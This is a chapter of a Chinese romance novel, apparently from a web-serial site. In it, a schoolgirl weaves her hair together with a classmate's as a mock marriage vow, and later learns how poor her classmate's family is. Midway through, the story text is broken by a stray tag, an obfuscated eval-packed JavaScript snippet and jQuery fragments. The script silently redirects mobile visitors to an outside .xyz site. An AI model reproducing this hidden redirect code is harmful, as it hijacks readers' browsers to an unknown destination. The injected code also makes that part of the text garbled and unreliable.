十一月末的尾巴总拖着黏腻的温吞，乍暖还寒的风卷着枯黄的梧桐叶，在柏油路上滚出细碎的声响。


    可我没心思去猜，那些翻飞的落叶里藏着谁没说出口的、酸涩又短暂的落幕心事。


    期末像悬在头顶的死刑判决，等待的日子比行刑更磨人，每分每秒都浸在煎熬的绝望里。


    第三次月考的成绩像坐过山车，忽高忽低的曲线把我搅得焦头烂额，魏云弥却活得像个闲云野鹤的栽花人，半点不见临考的紧迫，反倒对我及胸的头发起了异乎寻常的兴致。


    某次课间，她的手指如细密的齿梳穿过我的发丝，一边收拢一边念念有词:“再长一点，再长一点就好了……”


    我不明白她为何对我的头发这么执着，直到某个顾及晚自习没有回家的放学后——她把我拉到空无一人的美术教室，从口袋里掏出一根红丝带。


    “别动。”她跪在我身后的椅子上，温热的呼吸扫过我的后颈，像羽毛轻轻搔刮。


    我能感觉到她纤细的手指在发间穿梭，偶尔蹭到耳廓，激起一阵细密的战栗。她编得很慢，先挑出自己一缕墨黑的发丝，再混进我枯黄的发间，编入红绳。


    三股交织着，慢悠悠拧成一条辫子。


    我们的头发在她掌心渐渐缠成一团，墨黑与浅褐交错，像两株在暗夜里悄悄攀附生长的共生植物。


    “好了。”她忽然凑到我耳边，热气扑在耳垂上，“知道这叫什么吗？”


    “什么？”


    “结发。”她的声音带着笑意，“古时候新婚夫妻会这么绑头发，叫‘结发为妻’。”


    我的脸瞬间烧了起来，下意识去扯那条荒唐的辫子:“你、你乱说什么……”


    “别！”她急忙按住我的手，“会疼的。”


    鎏阳从帘缝里漏进来，给交缠的发丝上镀了层碎金。她忽然低低念起诗来:“结发为夫妻，恩爱两不疑。”


    我的心跳漏了一拍，像被什么东西轻轻撞了下。


    百叶窗把阳光切成细条，在地板上投下斑驳的影。她的发丝与我的纠缠着，像两条终于交汇的溪流。


    “好了。”最后她打了个小巧的蝴蝶结，把红黑相间的辫子搭在我肩上，“现在你是我的发妻了。”


    我转过头，看见她琥珀色的眼睛里盛满了整个黄昏的余晖。


    “……幼稚。”我小声嘟囔，手指却诚实地碰了碰那条辫子。


    红丝带系得不算紧实，指尖触到布料时，还能摸到到阳光晒过的微温。


    温柔的捆绑，心甘情愿的纠缠，浪漫且带有温润感的爱意。


    魏云弥突然凑近，鼻尖蹭着我的，发根被扯得传来轻微的刺痛。她眼里盛着我从未见过的认真，像揉碎了星光:


    “繁郁，要不要永远纠缠在一起？”


    “头发，命运，红线，你和我。”


    我攥着辫子的手猛地收紧，红丝带的边缘硌得指腹发疼。


    “……你知道自己在说什么吗？”


    我的声音像被砂纸磨过，哑得厉害。指尖触到的发丝还带着她的温度，黑与褐缠绕的地方，像被钉上了永不褪色的结。


    “我知道。”她扳过我的脸，逼我看清她眼底固执的光，“我想和你纠缠一辈子，繁郁。”


    “现在就回答我——要不要让红线缠得再紧一点？”


    我盯着她腕上的蓝琉璃，又摸摸自己腕上的蕨叶，突然伸手拽了拽那条辫子。轻微的痛感顺着发丝爬上来，却奇异地让人安心。


    “魏云弥，用承诺来捆绑住一个人，是不是太狡猾了？”


    “不是捆绑，是邀请。”她的声音轻得像飘落的羽毛。


    我没说话，却在她眼睛瞬间亮得像落满星星时，伸手把辫子往紧里编了编。


    毕竟要陪你幼稚一辈子啊。


    这句话被震耳的心跳吞没，没说出口。发根被扯得发疼，可闻到她发间的白茶香时，那些让人焦头烂额的成绩单、没完没了的考试，突然都成了模糊的远景。


    承诺太重，未来太远。可这条红丝带会渗进皮肤、钻进骨血，哪怕被年岁俗世磨得褪色、起毛，最终也会在我心脏上刻下一道刻骨铭心的浅痕。


    可这勇气和残存的浪漫，很快就被现实拦腰截断。十二月初，妈妈拉着我走进理发店，说要卖掉我的头发补贴家用。


    理发店的转椅透着刺骨的凉，我盯着镜子里自己的头发，手指无意识地摩挲着空荡荡的后颈——那里本该有条松垮的辫子，红丝带的微温还残留在记忆里。


    理发师掂着我发尾的手很沉，剪刀开合的“咔嚓”声像钝刀割在心上。镜子里，枯黄的发丝簌簌落在黑色围布上，像被暴雨打落的枯叶。


    我想喊“别剪”，喉咙却像被什么堵住，只能发出细碎的呜咽。镜中的女孩刘海很长，总遮住半只眼睛，那是她从前用来掩饰颧骨的伪装。


    几张零散的钞票被妈妈攥在皲裂的手里清点，我突然觉得，我的尊严大概也就值这最小的面值。


    十二月的城市不会下雪，可我的记忆里却堆满了冷。凛冽的风刮过齐耳短发时，我总会下意识摸向后颈，那里空荡荡的，像被剥走了什么重要的东西。


    红丝带不见了，连同那些关于“结发为妻”的幼稚幻想，一起消失了。


    我顶着新剪的短发回学校，魏云弥没质问我，也没再提头发的事，可她眼底渐渐暗下去的光，像针一样刺着我。


    直到她突然开口，一句话又把我心里快要熄灭的焰火重新点燃:“繁郁，我能去你家看看吗？”


    我犹豫了很久，最终还是点了头。


    我们相处了一年，我却从未对她展露过家里的窘迫，可那些藏不住的蛛丝马迹，大概早被她看在眼里。


    我们之间的差距，或许不只是发丝的长度和重量来衡量。那些对她来说浪漫的誓言，于我而言可能是沉重的负担。


    魏云弥第一次来我家那天，我提前三小时就开始拖地。潮湿的霉味混着廉价清洁剂的刺鼻气息，在逼仄的出租屋里弥漫。


    我撕掉墙上印着广告的旧日历，露出相对干净的墙面；把堆在角落的药盒塞进床底；甚至奢侈地开了半小时空调，想驱散城中村特有的、挥之不去的腐烂味道。


    “这就是你家？”魏云弥站在门口，校服外套被出租楼气窗里的穿堂风吹得鼓起，像只误入贫民窟的白天鹅。


    我死死攥着拖把杆，指甲陷进掌心:“嗯。”


    我妈从厨房探出头，围裙上沾着酱油渍。她的目光在魏云弥手腕的卡地亚手镯上停了两秒，突然堆起夸张的笑:“哎呀，你就是云弥吧？繁郁天天在家提起你呢！”


    我的胃猛地被攥紧。


    饭桌上，我妈的筷子第三次伸向魏云弥的碗:“尝尝这个排骨，阿姨特意……”


    “妈！”我打断她，“她自己会夹。”


    魏云弥安静地嚼着饭菜，睫毛在灯光下投下一小片阴影。


    妈妈讪讪地缩回手，突然在桌下踢了我一脚:“繁郁，你暑假不是和云弥出去旅游了吗？怎么不请人家多来家里玩？”


    我盯着碗里漂着油星的紫菜汤，听见自己牙齿打颤的声音。


    “阿姨，”魏云弥突然开口，声音轻柔却带着不容置疑的坚定，“那次旅游是我硬拉着繁郁去的，她拒绝了好几次呢。”


    我妈的笑容僵在了脸上。


    深夜，我和魏云弥挤在那张一动就“咯吱”作响的铁架单人床上，声音像被老鼠啃噬。


    隔音差的墙外，楼下夫妻正为孩子的补习费争吵，啤酒瓶砸在铁门上的声响像爆炸。


    “魏云弥。”黑暗中我突然开口，“你的头发其实很好看。”


    她的长发铺在枕头上，就算在暗处也泛着绸缎般的光泽，而我枯草般的短发大概扎得她脖颈发痒。


    魏云弥翻过身，手指穿过我参差不齐的发梢:“疼吗？”


    “什么？”


    “被按着剪头发的时候。”她的指尖轻轻擦过我耳后的结痂——那是剪刀不小心划破的地方。


    我猛地蜷缩起来，像只被踩到尾巴的猫。那些破碎的画面突然涌上来:妈妈油腻的手指攥着我头发，理发师抱怨“发质太差卖不上价”，最后递来的零散的纸钞上，还沾着我断落的发丝……


    “五十块。”我听见自己机械的声音，“我的尊严就值五十块。”


    穷人是没有尊严的，只有虚假的清高。


    无论你多骄傲、多乐观，人们总会带着悲悯的目光看你，仿佛不杞人忧天、不怨声载道，就是错的。


    魏云弥突然把我搂进怀里，她的心跳贴着我的脊背，一声声震得我眼眶发烫。


    “繁郁，尊严不是用钱来衡量的。”她的声音在黑暗中格外清晰。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039593|176505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    我攥紧被角，喉咙发紧:“那用什么？”


    用我永远买不起的名牌？用我妄想遮羞却身不由己留不住的头发？还是用妈妈在饭桌上讨好的笑容？


    楼下的争吵突然停了，取而代之的是孩童尖锐的啼哭。


    “用这个。”她突然抓住我的手，按在她的胸口，“我的尊严和真心在这里。”


    掌心下传来有力的跳动，一下又一下，像无声的誓言。


    “它告诉我，无论你住在什么样的房子里，剪多短的头发，你都是我最珍视的人。”


    我的眼泪突然决堤，滚烫的液体浸湿了枕套。魏云弥把我搂得更紧，下巴抵在我发顶。


    “还记得栖霞屿的海吗？”她轻声说，“海浪拍打礁石的时候，从来不会因为礁石不够完美就停止激荡。”


    我吸了吸鼻子，想起那个被阳光晒得发烫的午后，海浪一遍遍冲刷着岸边的岩石，固执又温柔。


    “魏云弥。”我小声唤她，声音还带着哭腔，“你会不会有一天……”


    “不会。”她打断我，语气坚定得像在宣读誓言，“我爱的从来不是你的长发，也不是你住在哪里。”


    “我爱的是你看海时发亮的眼睛，是你偷偷给我写纸条时颤抖的手指，是你明明害怕却还要强装镇定的样子。”她的指尖轻轻擦过我的眼角，“这些，用钱可买不到。”


    窗外的月光透过薄窗帘照进来，在地板上投下模糊的光斑。我望着我们交叠的影子，突然觉得那些羞耻和自卑都变得渺小起来。


    “下次。”魏云弥突然说，“下次你妈妈要剪你头发的时候，告诉我。”


    “你要干嘛？”


    “我买。”她的眼睛在月光下亮得惊人，“我按市场价的十倍买你的头发，这样你就能留到自己喜欢的长度了。”


    我“噗嗤”笑出声，眼泪却流得更凶了:“傻子，哪有这样算的。”


    她也笑了，单边酒窝深深陷下去:“我乐意。”


    月光把她的影子钉在发霉的墙面上，像幅斑驳的剪影画。


    我们隔着满地碎月光对视，像两个偷到糖的孩子，在黑暗中小声笑着。楼下的孩童终于停止了哭泣，风声呼啸，夜色重归寂静。


    “魏云弥。”我蹭了蹭她的颈窝，“谢谢你。”


    “谢什么？”


    “谢谢你……”我顿了顿，“谢谢你看我的时候，眼里没有怜悯。”


    她沉默了片刻，突然翻身压住我，鼻尖抵着我的鼻尖:“繁郁，你记住了——我永远不会怜悯你。我只会嫉妒所有能让你惦记的东西，包括那片该死的海。”


    这个突如其来的告白让我耳根发烫。她的呼吸喷在我唇上，带着薄荷牙膏的清凉。


    魏云弥顺势用红绳把我们的小指系在一起打结。月光透过窗帘缝隙照进来，她手腕上的蓝琉璃编绳与我的蕨叶手链碰出轻响，像某种隐秘的铃音。


    “结发为妻，结绳为契。”她举起我们交缠的手，红线在无名指投下细长的影，“现在你跑不掉了，我的短发新娘。”


    我妈的拖鞋声由远及近时，我们额头相抵笑作一团。这个破败的出租屋突然成了诺亚方舟，载着两个相爱的少女，在世俗的洪流里偷偷系紧了命运的绳结。


    “现在，能让我亲一下我的短发新娘了吗？”她故意用夸张的语气问。


    我红着脸点点头，在她俯身的瞬间闭上了眼睛。


    这个吻很轻，像羽毛拂过嘴唇，却让我浑身发抖。魏云弥的指尖还缠着我参差不齐的发梢，像是在抚摸什么珍宝。


    “结发为妻。”她在我唇边轻声说，“短发的妻也是妻。”


    我想起那些被剪断的发丝，它们此刻或许正躺在某个废品站的角落，和其他被丢弃的杂物一起慢慢腐烂。


    但没关系。


    有些结，即使用最锋利的剪刀也剪不断。比如此刻缠绕在我们指尖的命运，比如她落在我心上那个轻如鸿毛又重若千钧的吻。


    月光悄悄挪移，我们交叠的发丝在柔光下呈现出奇异的和谐。她的黑亮柔顺，我的枯黄毛躁，却紧紧缠绕成再也解不开的整体——像某种隐秘的契约，又像我们共同保守的、关于尊严的秘密。


    有人愿意为我预支头发及腰的长度，有人愿意在窥见我落败颓然和无力的原生家庭后，依然会问我:愿不愿意陪她从青丝走到白头。